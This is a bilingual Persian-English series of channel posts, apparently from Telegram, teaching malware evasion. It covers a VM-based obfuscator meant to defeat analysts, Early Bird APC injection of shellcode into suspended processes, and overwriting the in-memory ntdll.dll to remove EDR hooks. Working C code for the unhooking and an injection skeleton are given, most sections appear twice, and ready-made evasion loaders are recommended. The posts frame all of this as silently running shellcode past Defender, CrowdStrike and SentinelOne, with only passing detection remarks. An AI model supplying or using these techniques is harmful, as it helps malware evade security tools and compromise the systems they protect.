🧠 Combining All Techniques to Build a Real VM Obfuscator
> Creating a "Mini-VMProtect" using encryption, fake opcodes, indirect execution, and anti-reverse engineering.
🎯 Goal:
Implement a realistic custom protection system that runs the core logic of your program not as native assembly, but in your own custom bytecode VM.
This bytecode is:
Encrypted (e.g., XOR or AES)
Contains fake opcodes to mislead disassemblers
Executed indirectly via jump tables
Stored and executed from memory, not the disk
The VM itself is obfuscated, inline, and potentially anti-debug
🛠 Final Project Components:
Component Denoscription
Encrypted Bytecode Encoded using XOR, AES, or similar
Fake Instructions Random junk opcodes injected to confuse analysts
Jump Table Execution Uses indirect addressing (e.g., jump_table[opcode]()) to execute logic
Dynamic Decryption Bytecode is decrypted at runtime and executed directly from memory
Inline VM Execution The VM code is embedded in the EXE, but disguised and obfuscated
🧠 Overall Architecture
+----------------------------------+
| Main EXE |
| +----------------------------+ |
| | Hidden VM Engine | |
| | + Decrypt Bytecode | |
| | + Execute Instructions | |
| +----------------------------+ |
| + Encrypted Bytecode w/ Fakes |
+----------------------------------+
💻 Minimal Skeleton Code (C-like):
void run_vm() {
decrypt_bytecode();
init_jump_table();
while (pc < bytecode_len) {
unsigned char opcode = bytecode[pc++];
jump_table[opcode]();
}
}
> Full source code can be shared in future posts, or uploaded to GitHub/your channel.
🔥 Final Outcome:
You’ll have a binary that:
✅ Reveals nothing useful in IDA
✅ Is a pain to analyze in debuggers
✅ Hides real logic even in hex editors
💥 Only way to reverse it? Live debugging and step-by-step VM reconstruction
👍3❤1
– حمله زودتر از خودِ قربانی!
"وقتی هنوز چشم قربانی باز نشده، بدافزار شروع کرده..."
🧠 این تکنیک دقیقا چیه؟
تو خیلی از روشهای injection، باید صبر کنی تا پردازش target اجرا بشه، بعد شلکد بریزی توش.
ولی اینجا؟
📌 بدافزار قبل از اینکه خودِ پروسس کارشو شروع کنه، میپره توش و تزریق میکنه!
به این میگن Early Bird – یعنی "مرغ سحرخیز"، چون زودتر از هر چیزی inject میکنه 😏
🔥 چرا خفن و خطرناکه؟
چون اکثر EDRها روی توابع مشهوری مثل CreateRemoteThread یا VirtualAllocEx وایسادن
این تکنیک قبل از شروع واقعی پردازش قربانی کار رو تموم میکنه
لاگ نمیذاره رد پا کمه و behavior analysis بهش گیر نمیده چون هنوز هیچی اتفاق نیفتاده!
⚒️ چطور انجامش بدیم؟
1 یه پروسس suspended (معلق) ایجاد کن (با CREATE_SUSPENDED)
2 با VirtualAllocEx شلکد بریز توش
3 با QueueUserAPC یه تابع تزریق کن
4 بعد با ResumeThread اجرای اصلی رو شروع کن… اما اجرای تو از همه جلوتره!
HANDLE hThread = CreateProcess(..., CREATE_SUSPENDED);
QueueUserAPC((PAPCFUNC)Shellcode, hThread, NULL);
ResumeThread(hThread);
⛓️ اینجوری قبل از اینکه process کار خودشو شروع کنه، شلکدت رو اجرا میکنه!
🔍 تشخیصش ممکنه؟
💣 خیلی سخته، ولی:
بعضی ابزارهای سنگین مثل CrowdStrike یا SentinelOne با رفتار حافظه شاید بگیرنش
با بررسی APC Queue توی Thread objects توی حافظه (مثلاً با Volatility) شاید ردش پیدا شه
☠️ ترکیب با چی خفنتر میشه؟
PPID Spoofing → بگی بابام explorer.exe بوده
Signed Binary Proxy Execution → کدت رو از دل برنامه قانونی اجرا کنی
Shellcode encryption + Sleep Skipping → رد از behavior analysis هم فرار میکنی 😈
🧠 جمعبندی:
> Early Bird Injection = حمله قبل از تولد هدف!
یه روش بیصدا، بیردپا و سریع که میتونه شلکدتو بیدردسر بچسبونه به پردازشهای معتبر
🐦 Early Bird Injection
> “Attack before the victim even opens their eyes!”
While the target is still sleeping, the malware is already running...
🧠 What’s This Technique?
In most code injection techniques, you have to wait until the target process starts up, and then inject your shellcode.
But with Early Bird Injection?
📌 You inject before the process even begins execution.
The malware sneaks in during the suspended state—before the process’s entry point ever runs.
That’s why it’s called “Early Bird” — because it injects before anything else gets a chance to run. 😏
🔥 Why Is It So Powerful?
Because most EDRs are waiting for typical API calls like:
CreateRemoteThread
VirtualAllocEx
WriteProcessMemory
But here:
✅ The injection happens before the target process starts running
✅ No logs, minimal artifacts, no behavior to detect yet
✅ No alerts from behavior-based monitoring — nothing has happened yet
⚒️ How To Do It
1 Create the target process in a suspended state (CREATE_SUSPENDED)
2 Inject shellcode using VirtualAllocEx + WriteProcessMemory
3 Queue your shellcode via QueueUserAPC
4 Resume the main thread — and your shellcode executes before the target’s own code
HANDLE hThread = CreateProcess(..., CREATE_SUSPENDED);
QueueUserAPC((PAPCFUNC)Shellcode, hThread, NULL);
ResumeThread(hThread);
✅ This way, your code runs first, before the process even reaches its real entry point.
🔍 Can It Be Detected?
💣 Detection is very difficult, but not impossible:
Advanced EDRs like CrowdStrike or SentinelOne may catch it via memory behavior analysis
Memory forensics tools like Volatility can inspect APC queues in thread objects
Still, most defenses miss it if it’s well implemented
☠️ Even Deadlier When Combined With:
Technique Benefit
PPID Spoofing Makes it look like a legitimate parent (e.g., explorer.exe)
Signed Binary Proxy Execution Launches your malicious code via a trusted, signed binary
Shellcode Encryption + Sleep Skipping Avoids detection from behavior analysis or sandboxing
🧠 Summary:
> Early Bird Injection = Attack before the target is even born!
A stealthy, silent, fast technique that lets your shellcode hijack legitimate processes before they even realize what’s happening. 🐦💥
"وقتی هنوز چشم قربانی باز نشده، بدافزار شروع کرده..."
🧠 این تکنیک دقیقا چیه؟
تو خیلی از روشهای injection، باید صبر کنی تا پردازش target اجرا بشه، بعد شلکد بریزی توش.
ولی اینجا؟
📌 بدافزار قبل از اینکه خودِ پروسس کارشو شروع کنه، میپره توش و تزریق میکنه!
به این میگن Early Bird – یعنی "مرغ سحرخیز"، چون زودتر از هر چیزی inject میکنه 😏
🔥 چرا خفن و خطرناکه؟
چون اکثر EDRها روی توابع مشهوری مثل CreateRemoteThread یا VirtualAllocEx وایسادن
این تکنیک قبل از شروع واقعی پردازش قربانی کار رو تموم میکنه
لاگ نمیذاره رد پا کمه و behavior analysis بهش گیر نمیده چون هنوز هیچی اتفاق نیفتاده!
⚒️ چطور انجامش بدیم؟
1 یه پروسس suspended (معلق) ایجاد کن (با CREATE_SUSPENDED)
2 با VirtualAllocEx شلکد بریز توش
3 با QueueUserAPC یه تابع تزریق کن
4 بعد با ResumeThread اجرای اصلی رو شروع کن… اما اجرای تو از همه جلوتره!
HANDLE hThread = CreateProcess(..., CREATE_SUSPENDED);
QueueUserAPC((PAPCFUNC)Shellcode, hThread, NULL);
ResumeThread(hThread);
⛓️ اینجوری قبل از اینکه process کار خودشو شروع کنه، شلکدت رو اجرا میکنه!
🔍 تشخیصش ممکنه؟
💣 خیلی سخته، ولی:
بعضی ابزارهای سنگین مثل CrowdStrike یا SentinelOne با رفتار حافظه شاید بگیرنش
با بررسی APC Queue توی Thread objects توی حافظه (مثلاً با Volatility) شاید ردش پیدا شه
☠️ ترکیب با چی خفنتر میشه؟
PPID Spoofing → بگی بابام explorer.exe بوده
Signed Binary Proxy Execution → کدت رو از دل برنامه قانونی اجرا کنی
Shellcode encryption + Sleep Skipping → رد از behavior analysis هم فرار میکنی 😈
🧠 جمعبندی:
> Early Bird Injection = حمله قبل از تولد هدف!
یه روش بیصدا، بیردپا و سریع که میتونه شلکدتو بیدردسر بچسبونه به پردازشهای معتبر
🐦 Early Bird Injection
> “Attack before the victim even opens their eyes!”
While the target is still sleeping, the malware is already running...
🧠 What’s This Technique?
In most code injection techniques, you have to wait until the target process starts up, and then inject your shellcode.
But with Early Bird Injection?
📌 You inject before the process even begins execution.
The malware sneaks in during the suspended state—before the process’s entry point ever runs.
That’s why it’s called “Early Bird” — because it injects before anything else gets a chance to run. 😏
🔥 Why Is It So Powerful?
Because most EDRs are waiting for typical API calls like:
CreateRemoteThread
VirtualAllocEx
WriteProcessMemory
But here:
✅ The injection happens before the target process starts running
✅ No logs, minimal artifacts, no behavior to detect yet
✅ No alerts from behavior-based monitoring — nothing has happened yet
⚒️ How To Do It
1 Create the target process in a suspended state (CREATE_SUSPENDED)
2 Inject shellcode using VirtualAllocEx + WriteProcessMemory
3 Queue your shellcode via QueueUserAPC
4 Resume the main thread — and your shellcode executes before the target’s own code
HANDLE hThread = CreateProcess(..., CREATE_SUSPENDED);
QueueUserAPC((PAPCFUNC)Shellcode, hThread, NULL);
ResumeThread(hThread);
✅ This way, your code runs first, before the process even reaches its real entry point.
🔍 Can It Be Detected?
💣 Detection is very difficult, but not impossible:
Advanced EDRs like CrowdStrike or SentinelOne may catch it via memory behavior analysis
Memory forensics tools like Volatility can inspect APC queues in thread objects
Still, most defenses miss it if it’s well implemented
☠️ Even Deadlier When Combined With:
Technique Benefit
PPID Spoofing Makes it look like a legitimate parent (e.g., explorer.exe)
Signed Binary Proxy Execution Launches your malicious code via a trusted, signed binary
Shellcode Encryption + Sleep Skipping Avoids detection from behavior analysis or sandboxing
🧠 Summary:
> Early Bird Injection = Attack before the target is even born!
A stealthy, silent, fast technique that lets your shellcode hijack legitimate processes before they even realize what’s happening. 🐦💥
❤5🔥1
کردن ntdll.dll از حافظه
«وقتی میخوای چشمای EDR رو کور کنی 👁️❌»
📌 قضیه چیه؟
تقریباً همهی EDRها روی توابع حساس داخل ntdll.dll هوک (Hook) میذارن.
وقتی تابعی مثل NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx صدا زده میشه، EDR داخلش intercept میکنه و رفتار رو log یا block میکنه
حتی اگه مستقیم از ntdll استفاده نکنی، اگه نسخه داخل حافظه Hook شده باشه، ممکنه کدت به جای رفتار واقعی، وارد تلهی EDR بشه.
💡 راهحل: برگردوندن ntdll.dll به حالت پاک (Clean)
روش رایج: Reload ntdll.dll from disk → overwrite memory
🧬 مراحل کلی:
1 فایل ntdll.dll رو مستقیم از روی دیسک بخون
2 بخش .text (کد اجرایی) رو از اون بردار
3 روی .text موجود در حافظهی پروسه overwrite کن
4. تموم! هوکها پودر شدن 😎
🔧 پیادهسازی در C/C++:
🔐 نتیجه:
ntdll.dll تو حافظه به حالت اولیه برمیگرده
همهی هوکهای inline EDR از بین میرن
حالا Direct Syscall و حتی API معمولی بدون دیده شدن اجرا میشن
⚠️ هشدار امنیتی:
مورد توضیح
🔎 بعضی EDRها حافظهی ntdll رو هش میکنن → هر تغییری رو detect میکنن
🧠 پس بهتره Direct Syscall رو همزمان با این استفاده کنی
✅ Kraken و ScareCrow این کار رو کاملاً اتومات انجام میدن
📦 ابزارهای آماده:
ابزار قابلیت
FreshyCalls بارگزاری نسخه پاک ntdll و اجرای مستقیم
HalosGate پیدا کردن توابع syscall حتی با هوک شدن کامل
Ekko / Kraken Stage Loader با Unhook داخلی
✅ جمعبندی:
تکنیک کاربرد
Unhook ntdll پاکسازی Hookهای EDR
Direct Syscall فرار از آنتیویروس بدون ردپا
ترکیب اینا اجرای Shellcode بیصدا حتی در Defender + CrowdStrike + SentinelOne
👁️❌ Unhooking ntdll.dll from Memory
> “When you want to blind the EDR…”
📌 What's the Idea?
Almost every EDR hooks sensitive functions inside ntdll.dll.
Whenever you call functions like:
NtAllocateVirtualMemory
NtWriteVirtualMemory
NtCreateThreadEx
...the EDR intercepts them, logs them, or blocks execution.
Even if you don’t call ntdll directly, if the in-memory version is hooked, your code might walk straight into an EDR trap.
💡 The Fix: Restore a Clean Copy of ntdll.dll
The most common method:
Reload ntdll.dll from disk → Overwrite the in-memory .text section
🧬 Steps Overview:
1Read ntdll.dll directly from disk
2 Extract the .text section from it
3 Overwrite the .text section of the loaded in-memory ntdll.dll
4 Done — all inline hooks are gone 😎
🔧 C/C++ Example:
«وقتی میخوای چشمای EDR رو کور کنی 👁️❌»
📌 قضیه چیه؟
تقریباً همهی EDRها روی توابع حساس داخل ntdll.dll هوک (Hook) میذارن.
وقتی تابعی مثل NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx صدا زده میشه، EDR داخلش intercept میکنه و رفتار رو log یا block میکنه
حتی اگه مستقیم از ntdll استفاده نکنی، اگه نسخه داخل حافظه Hook شده باشه، ممکنه کدت به جای رفتار واقعی، وارد تلهی EDR بشه.
💡 راهحل: برگردوندن ntdll.dll به حالت پاک (Clean)
روش رایج: Reload ntdll.dll from disk → overwrite memory
🧬 مراحل کلی:
1 فایل ntdll.dll رو مستقیم از روی دیسک بخون
2 بخش .text (کد اجرایی) رو از اون بردار
3 روی .text موجود در حافظهی پروسه overwrite کن
4. تموم! هوکها پودر شدن 😎
🔧 پیادهسازی در C/C++:
// ntdll در دیسک
HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
HANDLE hMapping = CreateFileMappingA(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
LPVOID dllImage = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
// آدرس ntdll داخل حافظه خودمون
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
// پیدا کردن offset بخش .text
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)dllImage;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)dllImage + dos->e_lfanew);
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
for (int i = 0; i < nt->FileHeader.NumberOfSections; i++) {
if (memcmp(sec[i].Name, ".text", 5) == 0) {
// اجازه نوشتن بده
DWORD oldProtect;
VirtualProtect((LPVOID)((BYTE*)hNtdll + sec[i].VirtualAddress), sec[i].Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtect);
// بازنویسی بخش .text با نسخه پاک
memcpy((LPVOID)((BYTE*)hNtdll + sec[i].VirtualAddress), (BYTE*)dllImage + sec[i].PointerToRawData, sec[i].SizeOfRawData);
// برگردوندن مجوز
VirtualProtect((LPVOID)((BYTE*)hNtdll + sec[i].VirtualAddress), sec[i].Misc.VirtualSize, oldProtect, &oldProtect);
break;
}
}
🔐 نتیجه:
ntdll.dll تو حافظه به حالت اولیه برمیگرده
همهی هوکهای inline EDR از بین میرن
حالا Direct Syscall و حتی API معمولی بدون دیده شدن اجرا میشن
⚠️ هشدار امنیتی:
مورد توضیح
🔎 بعضی EDRها حافظهی ntdll رو هش میکنن → هر تغییری رو detect میکنن
🧠 پس بهتره Direct Syscall رو همزمان با این استفاده کنی
✅ Kraken و ScareCrow این کار رو کاملاً اتومات انجام میدن
📦 ابزارهای آماده:
ابزار قابلیت
FreshyCalls بارگزاری نسخه پاک ntdll و اجرای مستقیم
HalosGate پیدا کردن توابع syscall حتی با هوک شدن کامل
Ekko / Kraken Stage Loader با Unhook داخلی
✅ جمعبندی:
تکنیک کاربرد
Unhook ntdll پاکسازی Hookهای EDR
Direct Syscall فرار از آنتیویروس بدون ردپا
ترکیب اینا اجرای Shellcode بیصدا حتی در Defender + CrowdStrike + SentinelOne
👁️❌ Unhooking ntdll.dll from Memory
> “When you want to blind the EDR…”
📌 What's the Idea?
Almost every EDR hooks sensitive functions inside ntdll.dll.
Whenever you call functions like:
NtAllocateVirtualMemory
NtWriteVirtualMemory
NtCreateThreadEx
...the EDR intercepts them, logs them, or blocks execution.
Even if you don’t call ntdll directly, if the in-memory version is hooked, your code might walk straight into an EDR trap.
💡 The Fix: Restore a Clean Copy of ntdll.dll
The most common method:
Reload ntdll.dll from disk → Overwrite the in-memory .text section
🧬 Steps Overview:
1Read ntdll.dll directly from disk
2 Extract the .text section from it
3 Overwrite the .text section of the loaded in-memory ntdll.dll
4 Done — all inline hooks are gone 😎
🔧 C/C++ Example:
// Load ntdll.dll from disk
HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
HANDLE hMapping = CreateFileMappingA(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
LPVOID dllImage = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
// Get loaded ntdll.dll in memory
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
❤1🔥1
// Locate .text section
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)dllImage;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)dllImage + dos->e_lfanew);
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
for (int i = 0; i < nt->FileHeader.NumberOfSections; i++) {
if (memcmp(sec[i].Name, ".text", 5) == 0) {
DWORD oldProtect;
VirtualProtect((LPVOID)((BYTE*)hNtdll + sec[i].VirtualAddress), sec[i].Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy((LPVOID)((BYTE*)hNtdll + sec[i].VirtualAddress), (BYTE*)dllImage + sec[i].PointerToRawData, sec[i].SizeOfRawData);
VirtualProtect((LPVOID)((BYTE*)hNtdll + sec[i].VirtualAddress), sec[i].Misc.VirtualSize, oldProtect, &oldProtect);
break;
}
}
🔐 Result:
✅ ntdll.dll in memory is restored to its original clean state
✅ All inline EDR hooks are erased
✅ Now both Direct Syscalls and even normal APIs can run without being seen
⚠️ Security Notes:
Risk Detail
🔎 Some EDRs hash ntdll.dll in memory Any change may trigger an alert
🧠 Better to combine with Direct Syscalls Avoids detection even if hashes are checked
✅ Tools like Kraken & ScareCrow automate this entirely They combine unhooking + stealth syscall execution
📦 Useful Tools:
Tool Capability
FreshyCalls Loads a clean ntdll.dll and makes direct syscalls
HalosGate Finds syscall numbers even if hooks are present
Ekko / Kraken Stage loaders with internal unhooking logic
✅ Summary:
Technique Purpose
Unhooking ntdll.dll Remove inline EDR hooks
Direct Syscall Avoid antivirus and behavioral detection
Both Combined Silent shellcode execution — even against Defender, CrowdStrike, and SentinelOne
❤3